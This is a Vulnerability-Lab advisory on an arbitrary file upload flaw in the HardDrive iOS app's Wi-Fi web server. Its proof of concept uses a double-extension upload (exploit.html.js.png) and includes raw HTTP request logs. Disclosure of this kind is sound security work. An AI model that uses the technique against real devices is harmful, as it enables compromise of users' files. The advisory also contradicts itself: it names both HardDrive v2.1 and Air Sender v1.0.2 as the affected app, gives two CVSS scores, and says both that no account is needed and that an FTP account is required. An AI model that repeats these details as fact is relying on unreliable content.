Document Title: =============== HardDrive v2.1 iOS - Arbitrary File Upload Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2221 Release Date: ============= 2020-04-29 Vulnerability Laboratory ID (VL-ID): ==================================== 2221 Common Vulnerability Scoring System: ==================================== 7.4 Vulnerability Class: ==================== Arbitrary File Upload Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Store+Organize+Edit+Protect+Import+Download+View+Share your files right from your iPhone! Transform your iPhone/iPod touch into a real HardDrive with no extra cable or software. (Copy of the Homepage: https://apps.apple.com/ch/app/harddrive/id383226784 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered an arbitrary file upload vulnerability in the official Air Sender v1.0.2 mobile ios web-application. Affected Product(s): ==================== Sebastien BUET HardDrive v2.1 - Apple iOS Mobile Web Application Vulnerability Disclosure Timeline: ================================== 2020-04-29: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Pre auth - no privileges User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ An arbitrary file upload web vulnerability has been discovered in the official Air Sender v1.0.2 iOS mobile application. The web vulnerability allows remote attackers to upload arbitrary files to compromise for example the file system of a service. The arbitrary upload vulnerability is located in the within the web-server configuration when using the upload module. Remote attackers are able to bypass the local web-server configuration by an upload of malicious webshells. Attackers are able to inject own files with malicious `filen` values in the `upload` POST method request to compromise the mobile web-application. The application does not perform checks for multiple file extensions. Thus allows an attacker to upload for example to upload a html.js.png file. After the upload the attacker requests the original url source with the uploaded file and removes the unwanted extension to execute the code in the unprotected web-frontend. The security risk of the vulnerability is estimated as high with a common vulnerability scoring system count of 7.0. Exploitation of the web vulnerability requires a low privilege ftp application user account and no user interaction. Successful exploitation of the arbitrary file upload web vulnerability results in application or device compromise. Request Method(s): [+] POST Vulnerable Module(s): [+] ./upload Vulnerable File(s): [+] file Proof of Concept (PoC): ======================= The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged user accounts. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. PoC: Vulnerable Source (File Dir Listing Index) <tr><td width="100px" valign="middle" align="left"><img src="exploit.html"></td><td width="300px" valign="middle" align="left"> <a href="exploit.html.js">exploit.html.js</a></td> <td width="454px" valign="middle" align="left"> <em valign="middle" align="center">size: 256.7 Kb PoC: Exploitation http://localhost:50071/exploit.html.js --- PoC Session Logs [POST] --- (file) http://localhost:50071/ Host: localhost:50071 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------9331569428946906291010349387 Content-Length: 263181 Origin: http://localhost:50071 Connection: keep-alive Referer: http://localhost:50071/ file=exploit.html.js.png&button=Submit POST: HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 381654 - http://localhost:50071/exploit.html.js Host: localhost:50071 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive - http://localhost:50071/exploit.html GET: HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 366735 Security Risk: ============== The security risk of the arbitrary file upload web vulnerability in the wifi ui of the mobile application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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